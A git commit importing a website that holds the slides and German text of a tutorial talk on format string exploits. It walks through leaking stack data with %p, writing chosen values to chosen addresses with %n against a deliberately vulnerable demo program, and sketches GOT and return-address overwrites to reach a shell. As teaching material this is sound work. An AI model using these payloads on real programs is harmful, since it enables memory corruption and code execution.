From 23f0e1561767dd8a396188e317bae5920d171ea8 Mon Sep 17 00:00:00 2001 From: erdgeist Date: Sun, 16 Aug 2015 16:38:25 +0200 Subject: Initial import of my nikola website --- stories/poetry/MeinVortrag/01.html | 8 + stories/poetry/MeinVortrag/02.html | 6 + stories/poetry/MeinVortrag/03.html | 11 + stories/poetry/MeinVortrag/04.html | 12 + stories/poetry/MeinVortrag/05.html | 27 ++ stories/poetry/MeinVortrag/06.html | 8 + stories/poetry/MeinVortrag/07.html | 14 + stories/poetry/MeinVortrag/08.html | 16 + stories/poetry/MeinVortrag/09.html | 13 + stories/poetry/MeinVortrag/10.html | 10 + stories/poetry/MeinVortrag/11.html | 18 ++ stories/poetry/MeinVortrag/12.html | 17 ++ stories/poetry/MeinVortrag/13.html | 24 ++ stories/poetry/MeinVortrag/14.html | 25 ++ stories/poetry/MeinVortrag/15.html | 23 ++ stories/poetry/MeinVortrag/16.html | 25 ++ stories/poetry/MeinVortrag/17.html | 26 ++ stories/poetry/MeinVortrag/18.html | 20 ++ stories/poetry/MeinVortrag/19.html | 14 + stories/poetry/MeinVortrag/Vortrag-FormatStrings | 367 +++++++++++++++++++++++ stories/poetry/MeinVortrag/templ.html | 7 + 21 files changed, 691 insertions(+) create mode 100644 stories/poetry/MeinVortrag/01.html create mode 100644 stories/poetry/MeinVortrag/02.html create mode 100644 stories/poetry/MeinVortrag/03.html create mode 100644 stories/poetry/MeinVortrag/04.html create mode 100644 stories/poetry/MeinVortrag/05.html create mode 100644 stories/poetry/MeinVortrag/06.html create mode 100644 stories/poetry/MeinVortrag/07.html create mode 100644 stories/poetry/MeinVortrag/08.html create mode 100644 stories/poetry/MeinVortrag/09.html create mode 100644 stories/poetry/MeinVortrag/10.html create mode 100644 stories/poetry/MeinVortrag/11.html create mode 100644 stories/poetry/MeinVortrag/12.html create mode 100644 stories/poetry/MeinVortrag/13.html create mode 100644 stories/poetry/MeinVortrag/14.html create mode 100644 stories/poetry/MeinVortrag/15.html create mode 100644 stories/poetry/MeinVortrag/16.html create mode 100644 stories/poetry/MeinVortrag/17.html create mode 100644 stories/poetry/MeinVortrag/18.html create mode 100644 stories/poetry/MeinVortrag/19.html create mode 100644 stories/poetry/MeinVortrag/Vortrag-FormatStrings create mode 100644 stories/poetry/MeinVortrag/templ.html (limited to 'stories/poetry/MeinVortrag') diff --git a/stories/poetry/MeinVortrag/01.html b/stories/poetry/MeinVortrag/01.html new file mode 100644 index 0000000..d476a90 --- /dev/null +++ b/stories/poetry/MeinVortrag/01.html @@ -0,0 +1,8 @@ +

+  ->
+Format String Exploits + +Christian Carstensen +Dirk Engling +Martin Schobert +

diff --git a/stories/poetry/MeinVortrag/02.html b/stories/poetry/MeinVortrag/02.html new file mode 100644 index 0000000..14df688 --- /dev/null +++ b/stories/poetry/MeinVortrag/02.html @@ -0,0 +1,6 @@ +

+<-->
+syntax:
+
+  printf( char *format, param1, param2, ... )
+

diff --git a/stories/poetry/MeinVortrag/03.html b/stories/poetry/MeinVortrag/03.html new file mode 100644 index 0000000..38f1bd1 --- /dev/null +++ b/stories/poetry/MeinVortrag/03.html @@ -0,0 +1,11 @@ +

+<-->
+int main( ) {
+  int a, b;
+  a = 7;
+  b = 9;
+
+  printf( "%d %d\n", a, b );
+  return 0;
+}
+

diff --git a/stories/poetry/MeinVortrag/04.html b/stories/poetry/MeinVortrag/04.html new file mode 100644 index 0000000..d28b181 --- /dev/null +++ b/stories/poetry/MeinVortrag/04.html @@ -0,0 +1,12 @@ +

+<-->
+.LC0:   
+        .string    "%d %d\n"
+main:   
+        [ ... ]
+        pushl $9
+        pushl $7
+        pushl $.LC0
+        call printf
+        [ ... ]
+

diff --git a/stories/poetry/MeinVortrag/05.html b/stories/poetry/MeinVortrag/05.html new file mode 100644 index 0000000..e124667 --- /dev/null +++ b/stories/poetry/MeinVortrag/05.html @@ -0,0 +1,27 @@ +

+<-->
+int printing( const char *fmt, ...) {
+  va_list ap;
+  char output[1024];
+  
+  va_start(ap, fmt);
+        
+  while( *fmt ) {
+    if( *fmt != '%' ) {
+        putc( *fmt++ );
+    } else { /* Parameter substituieren */
+      switch( *++fmt ) {
+      case 'd':
+          int a = va_arg( ap, int );
+          /* Zahl a ausgeben */
+          break;
+      case 's':
+          char *s = va_arg( ap, char *); 
+          /* String ausgeben */
+      ....
+    }
+  }
+  
+  va_end(ap);
+}
+

diff --git a/stories/poetry/MeinVortrag/06.html b/stories/poetry/MeinVortrag/06.html new file mode 100644 index 0000000..1c3fe8d --- /dev/null +++ b/stories/poetry/MeinVortrag/06.html @@ -0,0 +1,8 @@ +

+<-->
+#define va_start(ap, var) ((ap) = (va_list)&var)
+
+#define va_arg(ap, type)  *(((type *)ap)++)
+
+#define va_end(ap)
+

diff --git a/stories/poetry/MeinVortrag/07.html b/stories/poetry/MeinVortrag/07.html new file mode 100644 index 0000000..6a4c25e --- /dev/null +++ b/stories/poetry/MeinVortrag/07.html @@ -0,0 +1,14 @@ +

+<-->
+int main( ) {
+    int a = 0x23232323;
+
+    printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n");
+    return 0;
+}
+
+Liefert einen output von:
+  
+0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0
+0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1
+

diff --git a/stories/poetry/MeinVortrag/08.html b/stories/poetry/MeinVortrag/08.html new file mode 100644 index 0000000..35fc0e7 --- /dev/null +++ b/stories/poetry/MeinVortrag/08.html @@ -0,0 +1,16 @@ +

+<-->
+int main( ) {
+    int a;
+          
+    printf ( "Ich bin 23 Zeichen lang%n\n", &a);
+    printf ( "Und printf hat's gezaehlt: %d", a);
+
+    return 0;    
+}
+ 
+Liefert als Ausgabe:
+  
+Ich bin 23 Zeichen lang
+Und printf hat's gezaehlt: 23
+

diff --git a/stories/poetry/MeinVortrag/09.html b/stories/poetry/MeinVortrag/09.html new file mode 100644 index 0000000..53922cd --- /dev/null +++ b/stories/poetry/MeinVortrag/09.html @@ -0,0 +1,13 @@ +

+<-->
+in BASIC:
+
+   A = "Hallo"
+   PRINT A
+
+in C:
+
+   char *a = "Hallo";
+   printf( a );
+
+

diff --git a/stories/poetry/MeinVortrag/10.html b/stories/poetry/MeinVortrag/10.html new file mode 100644 index 0000000..d336ae5 --- /dev/null +++ b/stories/poetry/MeinVortrag/10.html @@ -0,0 +1,10 @@ +

+<-->
+int main( int argc, char **argv ) {
+    char buffer[ 256 ];
+
+    snprintf( buffer, sizeof buffer, argv[1] );
+   
+    return 0;
+}  
+

diff --git a/stories/poetry/MeinVortrag/11.html b/stories/poetry/MeinVortrag/11.html new file mode 100644 index 0000000..72c2ba5 --- /dev/null +++ b/stories/poetry/MeinVortrag/11.html @@ -0,0 +1,18 @@ +

+<-->
+int main( int argc, char **argv ) {
+    char buffer[ 256 ];
+
+/* !!!FALSCH!!! */
+#if 0
+    snprintf( buffer, sizeof buffer, argv[1] );
+#endif 
+
+/* !!!RICHTIG!!! */
+#if 1
+    snprintf( buffer, sizeof buffer, "%s", argv[1] );
+#endif
+
+    return 0;
+}  
+

diff --git a/stories/poetry/MeinVortrag/12.html b/stories/poetry/MeinVortrag/12.html new file mode 100644 index 0000000..7c87622 --- /dev/null +++ b/stories/poetry/MeinVortrag/12.html @@ -0,0 +1,17 @@ +

+<-->
+int main( int argc, char **argv ) {
+    int  test = 0x23232323;
+    char buffer[ 256 ];
+   
+    printf( "test auf: %p\n", &test );
+    printf( "test enthaelt: %x\n\n", test);
+
+    snprintf( buffer, sizeof buffer, argv[1] );   
+
+    printf( "%s\n", buffer);
+    printf( "test enthaelt: %x\n\n", test);
+   
+    return 0;
+}
+

diff --git a/stories/poetry/MeinVortrag/13.html b/stories/poetry/MeinVortrag/13.html new file mode 100644 index 0000000..6137794 --- /dev/null +++ b/stories/poetry/MeinVortrag/13.html @@ -0,0 +1,24 @@ +

+<-->
+int main( int argc, char **argv ) {
+    int  test = 0x23232323;
+    char buffer[ 256 ];
+   
+    printf( "test auf: %p\n", &test );
+    printf( "test enthaelt: %x\n\n", test);
+
+    snprintf( buffer, sizeof buffer, argv[1] );   
+
+    printf( "%s\n", buffer);
+    printf( "test enthaelt: %x\n\n", test);
+
+    return 0;
+}
+
+# ./vuln Probierung
+test auf: 0xbfbff6d4
+test enthaelt: 0x23232323
+    
+Probierung
+test enthaelt: 0x23232323  
+

diff --git a/stories/poetry/MeinVortrag/14.html b/stories/poetry/MeinVortrag/14.html new file mode 100644 index 0000000..63acc3e --- /dev/null +++ b/stories/poetry/MeinVortrag/14.html @@ -0,0 +1,25 @@ +

+<-->
+int main( int argc, char **argv ) {
+    int  test = 0x23232323;
+    char buffer[ 256 ];
+   
+    printf( "test auf: %p\n", &test );
+    printf( "test enthaelt: %x\n\n", test);
+
+    snprintf( buffer, sizeof buffer, argv[1] );   
+
+    printf( "%s\n", buffer);
+    printf( "test enthaelt: %x\n\n", test);
+
+    return 0;
+}
+
+# ./vuln "AAAA%p %p %p %p %p %p %p %p %p"
+test auf: 0xbfbff6c0
+test enthaelt: 0x23232323
+    
+AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04
+0x2805a3a8 0x41414141 0x62317830 0x64356666
+test enthaelt: 0x23232323
+

diff --git a/stories/poetry/MeinVortrag/15.html b/stories/poetry/MeinVortrag/15.html new file mode 100644 index 0000000..e132623 --- /dev/null +++ b/stories/poetry/MeinVortrag/15.html @@ -0,0 +1,23 @@ +

+<-->
+int main( int argc, char **argv ) {
+    int  test = 0x23232323;
+    char buffer[ 256 ];
+
+    printf( "test auf: %p\n", &test );   
+    printf( "test enthaelt: %x\n\n", test);
+
+    snprintf( buffer, sizeof buffer, argv[1] );
+
+    printf( "%s\n", buffer);
+    printf( "test enthaelt: %x\n\n", test);
+
+    return 0;
+}
+
+# ./vuln "AAAA%p %p %p %p %p %p%n  %p %p"
+test auf: 0xbfbff6c0
+test enthaelt: 0x23232323
+
+Segmentation fault (core dumped)
+

diff --git a/stories/poetry/MeinVortrag/16.html b/stories/poetry/MeinVortrag/16.html new file mode 100644 index 0000000..0644083 --- /dev/null +++ b/stories/poetry/MeinVortrag/16.html @@ -0,0 +1,25 @@ +

+<-->
+int main( int argc, char **argv ) {
+    int  test = 0x23232323;
+    char buffer[ 256 ];
+
+    printf( "test auf: %p\n", &test );   
+    printf( "test enthaelt: %x\n\n", test);
+
+    snprintf( buffer, sizeof buffer, argv[1] );
+
+    printf( "%s\n", buffer);
+    printf( "test enthaelt: %x\n\n", test);
+
+    return 0;
+}
+
+# ./vuln "Àö¿¿%p %p %p %p %p %p%n  %p %p"
+test auf: 0xbfbff6c0
+test enthaelt: 0x2323232323
+
+Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
+0x68acf04 0x2805a3a8  0x62317830 0x64356666
+test enthaelt: 0x42
+

diff --git a/stories/poetry/MeinVortrag/17.html b/stories/poetry/MeinVortrag/17.html new file mode 100644 index 0000000..6a32312 --- /dev/null +++ b/stories/poetry/MeinVortrag/17.html @@ -0,0 +1,26 @@ +

+<-->
+# ./vuln "Àö¿¿%p %p %p %p %p %p%n  %p %p"
+test auf: 0xbfbff6c0
+test enthaelt: 0x2323232323
+
+Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
+0x68acf04 0x2805a3a8  0x62317830 0x64356666
+test enthaelt: 0x42
+=======================================================
+# ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p  "
+
+test auf: 0xbfbff6c0
+test enthaelt: 0x23232323
+
+Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf04\
+0x2805a3a80x623178300x64356666
+test enthaelt: 0x3D
+=======================================================
+# ./vuln "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n      "
+test auf: 0xbfbff6b0
+test enthaelt: 0x23232323
+
+°ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337
+test enthaelt: 0x42424242
+

diff --git a/stories/poetry/MeinVortrag/18.html b/stories/poetry/MeinVortrag/18.html new file mode 100644 index 0000000..4c50a98 --- /dev/null +++ b/stories/poetry/MeinVortrag/18.html @@ -0,0 +1,20 @@ +

+<-->
+
+
+
+
+
+
+
+
+
+"/../../../../../../../../../bin/sh"
+
+
+
+
+
+
+
+

diff --git a/stories/poetry/MeinVortrag/19.html b/stories/poetry/MeinVortrag/19.html new file mode 100644 index 0000000..3261117 --- /dev/null +++ b/stories/poetry/MeinVortrag/19.html @@ -0,0 +1,14 @@ +

+<-->
+
+
+
+
+That's all folks...
+
+links:
+
+http://community.core-sdi.com/~juliano/
+http://www.phrack.org/show.php?p=49&a=14
+
+

diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings new file mode 100644 index 0000000..7d6b591 --- /dev/null +++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings @@ -0,0 +1,367 @@ +Format String Exploits: + +Heisst grundsaetzlich, die Eigenschaft der +f/s(n)printf/scanf - Funktionsfamilie +auszunutzen, dass sie eine va_args-liste +zum Uebergeben der Parameter und einen +String zum Beschreiben der Anzahl und Art +der Parameter benutzt. + +syntax: + + printf( char *format, param1, param2, ... ) + +Wenn man einen C-Kurs mitmacht, wird einem +vermittelt, dass man in den Formatstring +eintragen soll, welche Paramater die printf +Funktion bekommen wird und wenn es +Inkonsistenzen zwischen dem Formatstring und +den Paramtern gibt, stuerzt das Programm ab. +Und genau an der Stelle beginnt der spannende +Part: wenn ein Programm abstuerzt, +wurde sicher Speicher der Applikation ueber- +schrieben und Ziel des Spiels ist es nun, zu +versuchen, gezielt Speicher mit uns geneigten +Werten zu ueberschreiben. Und unter uns: sooo +schnell schiesst man ein Programm nicht ab :) +Also schauen wir uns mal einen validen Aufruf +der Funktion an: + +int main( ) { + int a, b; + a = 7; + b = 9; + + printf( "%d %d\n", a, b ); + return 0; +} + +In optimiertem Assembler sieht das so aus: + +.LC0: + .string "%d %d\n" +main: + [ ... ] + pushl $9 + pushl $7 + pushl $.LC0 + call printf + [ ... ] + +Dort steht, dass erst b und a auf den Stack +geschoben werden, danach die Adresse des +Formatstrings und schliesslich printf aufgerufen +wird. + +In C ist es generell nicht der Fall, dass +Funktionen ueber die Parameter informiert werden, +die sie auf dem Stack erhalten, das geben sie +naemlich beim Compilen an und erwarten dann auf +dem Stack auch genau diese Parameter vorzufinden. + +Einzige Ausnahme bildet ein Konstrukt namens +va. Das bedeutet "Varibale Argumentenliste". Die +Funktion printf arbeitet dann auch wie folgt: + +int printing( const char *fmt, ...) { + va_list ap; + char output[1024]; + + va_start(ap, fmt); + + while( *fmt ) { + if( *fmt != '%' ) { + putc( *fmt++ ); + } else { /* Parameter substituieren */ + switch( *++fmt ) { + case 'd': + int a = va_arg( ap, int ); + /* Zahl a ausgeben */ + break; + case 's': + char *s = va_arg( ap, char *); + /* String ausgeben */ + .... + } + } + + va_end(ap); +} + +Hinter der ganzen vargs Magie verbergen sich aber +nur diese drei (jetzt mal von mir leicht +vereinfachten) Makros: + +#define va_start(ap, var) ((ap) = (va_list)&var) + +#define va_arg(ap, type) *(((type *)ap++)) + +#define va_end(ap) + +In Wirklichkeit wird da noch ein wenig am Alignment +der Variablen geschraubt, aber im Groben stellt dies +schon dar, wie variable Argumentlisten behandelt +werden: printf holt einfach vom Stack ab, egal, ob da +was drauf steht, oder nicht. + +Was drauf stehen tut aber immer, naemlich Ruecksprung- +adressen und der Stack der aufrufenden Funktionen. +Und das koennen wir uns mal angucken: + +int main( ) { + int a = 0x23232323; + + printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); + return 0; +} +Liefert einen output von: + +0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 + +Und gugge da: wir erkennen doch da glatt unser +nicht ganz zufaellig gewaehltes a wieder. + +%p ist der Bezeichner fuer einen ganz normalen +pointer, also 4 bytes, die vom Stack geholt +und in der 0xn Notation angezeigt werden. + +Aber printf kann mehr: + +int a; + +printf ( "Ich bin 23 Zeichen lang%n\n", &a); +printf ( "Und printf hat's gezaehlt: %d", a); + +Liefert als Ausgabe: + +Ich bin 23 Zeichen lang +Und printf hat's gezaehlt: 23 + +Was ist passiert? Printf erwartet bei einem %n, dass +auf dem Stack der Zeiger auf ein int liegt, in das +er die Anzahl der in diesem Funktionsaufruf +ausgegebnen Zeichen schreibt. Nicht auszumalen, was +passiert, wenn auf dem Stack gar keine solide Adresse +liegt :) + +Printf bietet uns also einen ganz soliden Weg, den +Stack zu inspizieren und aktiv Speicher zu veraendern. +Bliebe die Frage, warum sollte uns ein Programm den +Weg ebnen, den Formatstring selbst zu waehlen. Da gibt +es zwei Erklaerungen: +1. bieten einige Programme fuer formatierte Textausgabe + dem Benutzer an, selber Formatstrings anzugeben. + Dies ist aber nicht so spannend, da der String + meist sehr genau geprueft wird, allerdings gibt es + einen exploit fuer den Mail-Reader mutt, der genau + ueber einen solchen Formatierungsstring anfaellig + war +2. Ist es dem printf egal, ob man ihm nun wirklich einen + Zeiger auf den Formatstring gegeben hat, oder den + Zeiger auf IRGENDEINEN String, der ausgegeben werden + soll. Typischer BASIC Programmierstil ist: + + A = "Hallo" + PRINT A + + in C: + + char *a = "Hallo"; + printf( a ); + + funktioniert auch hervorragend, solange der String + a keine printf - control characters, naemlich "%"'s + enthaelt. + +Genug der Theorie, in der Praxis sieht sowas dann ganz +schlicht so aus: + +int main( int argc, char **argv ) { + char buffer[ 256 ]; + + snprintf( buffer, sizeof buffer, argv[1] ); + + return 0; +} + +Man beachte, dass der Programmierer sich grosse Muehe +gegeben hat, buffer-overflows zu vermeiden, indem er +sichere Variante von sprintf, das snprintf benutzt hat, +damit auch wirklich maximal 32 bytes in den Buffer +gelangen. Allerdings hat er beim String, der geschrieben +werden soll, geschlampt: die Zeile muesste richtig lauten + + snprintf( buffer, sizeof buffer, "%s", argv[1] ); + +Nun, was tut dieses Funktion? Schreibt in den Buffer mit +maximal 32 Zeichen den String argv[1], also das erste +Kommandozeilenargument der Funktion. Aber tut es das auch +wirklich? Nur, wie gesagt, solange im String keine '%' +stehen, aber solche Zeichen in die Kommandozeile einzu- +tippern kriegen wir doch noch hin :) + +Es gibt noch das kleine Problem, dass der Printf halt in +einen Buffer und nicht auf den Screen schreibt, das laesst +sich aber leicht loesen, indem wir entweder einen Debugger +benutzen, um den Inhalt des Buffers auszulesen, oder ein- +fach wieder printf dafuer benutzen, sieht dann so aus: + +int main( int argc, char **argv ) { + int test = 0x23232323; + char buffer[ 256 ]; + + printf( "test auf: %p\n", &test ); + printf( "test enthaelt: %x\n\n", test); + + snprintf( buffer, sizeof buffer, argv[1] ); + + printf( "%s\n", buffer); + printf( "test enthaelt: %x\n\n", test); + + return 0; +} + +Ich habe nun noch eine Variable eingefuegt, an der wir +ein wenig rumspielen wollen: Dessen Adresse wuerde man +wieder mit einem debugger herausfinden, hier benutz ich +printf, auch den aktuellen Wert geb ich einmal vor und +einmal nach der "Attacke" aus. +Das compilete Programm wirft mir folgendes raus: + +# ./vuln Probierung +test auf: 0xbfbff6d4 +test enthaelt: 0x23232323 + +Probierung +test enthaelt: 0x23232323 + +Nuescht besonderes. Probieren wir nun mal ein bisschen +mit den Formatstrings rum: + +# ./vuln "AAAA%p %p %p %p %p %p %p %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666 +test enthaelt: 0x23232323 + +Als erstes sehen wir, dass sich die Adressse von test +(das sich ja im Stack befindet) variiert. Das liegt +daran, dass die Kommandozeilenparameter im Stack abgelegt +werden. Wir koennen aber mit Anfuerungszeichen und vielen +Spaces ueber die gesamte Testphase fuer einen konstanten +offset sorgen. +Zweitens liegt, wie eben erwaehnt, auch der Format-String +nocheinmal im Stack weiter oben rum, die 0x41414141 sind +unsere AAAA in der Kommandozeile. + +Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin +entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer +weniger und tun dafuer ein %n hin: + +# ./test "AAAA%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +Segmentation fault (core dumped) + +Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt +nicht mit den Formatstrings rum. Aber was genau hab ich jetzt +kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n +vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau +bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als +naechstes 0x41414141. Und dieser Wert wird ja nun bei einem +%n als Adresse einer int interpretiert, an die der aktuelle +Character-Count geschrieben werden soll. Und an 0x41414141 +befindet sich kein lesbarer Speicher. Also kein Geheimnis. +Aber wer jetzt einen Exploit entdeckt hat, soll sich mal +melden. Genau... die 0x41414141 kommt ja direkt aus unserem +Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege +da jetzt naeher, dort mal eine valide Adresse hinzuschreiben? +Wir haetten da sogar noch eine ueber: +0xbfbff6c0 +Da liegt naemlich die Variable test und es ist sogar eine int. +Als String sieht die Adresse so aus: Àö¿¿ +Ungewoehnlich, aber wat solls, solange kein % und kein \000 +dabei ist, soll uns das nicht stoeren :) +Wir probieren das einfach mal aus: + +# ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x2323232323 + +Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666 +test enthaelt: 0x42 + +An der Stelle, wo da zwei Leerzeichen hintereinander sind, +wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt +0x42. + +Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum +Doppelleerzeichen 66 ausgegebene Characters. + +Wir haben es also geschafft, an eine beliebige Adresse einen +leider noch einigermassen zufaelligen Wert zu schreiben, das +soll sich jetzt aendern. Was wir brauchen, ist eine wohl- +bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden. +Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen, +damit wir mit ihnen rechnen koennen. Dat jeht so: + +# ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p " +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666 +test enthaelt: 0x3D + +und mit der letzten koennen wir noch ein wenig spielen: + +./test "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n " +test auf: 0xbfbff6b0 +test enthaelt: 0x23232323 + +°ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337 +test enthaelt: 0x42424242 + +Ich musste fuer die grossen Zahlen leider noch ein wenig an der +Adresse von test rumspielen, aber im Prinzip ist zu erkennen, +dass ich an jede Adresse jeden Wert schreiben kann. Was habe +ich getan? Man kann fuer Zahlenkonvertierungen in printf eine +width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt +wird, wenn die Zahl nicht breit genug wird. Und das koennen nu +auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man +auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn +man mal eine valide Adresse wohin schreiben will. Und netterweise +liefert printf nun auch nicht die Zahl der geschriebenen Zeichen, +sondern die der "theoretisch" geschriebenen in %n zurueck, was +dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen... + +Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen, +man uebergibt diesen einfach mit im Formatstring und kann die +Einsprungadresse punktgenau auf den Stack werfen. Waere aber +eigentlich eine Schande, denn Formatstringexploits sind so fili- +gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen +return adressen eigentlich nur raten. + +Viel eleganter ist es, die GOT des binaries zu veraendern. +Dies ist die global object table, und dort hinein kommen fuer +alle Funktionen, die aus Libraries eingebunden werden, die +Adressen. Der Vorteil ist, dass bei fast allen Standard- +anwendungen die GOT ungefaehr gleich aussieht. Wenn man die +Adresse des fopen-calls einfach mit der des system-calls ueber- +schreibt, koennte man einen Teil des formatstrings glatt von +einer Shell interpretieren lassen. + +Dies ist insoweit im Moment spannend, da ernsthaft damit ange- +fangen wird, den Stack non-executable zu mappen und damit buffer +overflows und darin befindlicher Shellcode zu verhindern. + +Dies liesse noch Spielraum fuer eine weitere Option, naemlich +die Ruecksprungadresse der printf-aufrufenden Funktion zu +ueberschreiben und zwar mit der Einsprungadresse von system, +wenn man davor eine Adresse irgendwo im eigenen Formatstring +hinpackt, kann man den Formatstring wie folgt gestalten: + +"/../../../../../../../../../bin/sh" + +die ../'s sind naemlich eigentlich auch NOPs. diff --git a/stories/poetry/MeinVortrag/templ.html b/stories/poetry/MeinVortrag/templ.html new file mode 100644 index 0000000..4592390 --- /dev/null +++ b/stories/poetry/MeinVortrag/templ.html @@ -0,0 +1,7 @@ +

+<-->
+
+
+
+
+

-- cgit v1.2.3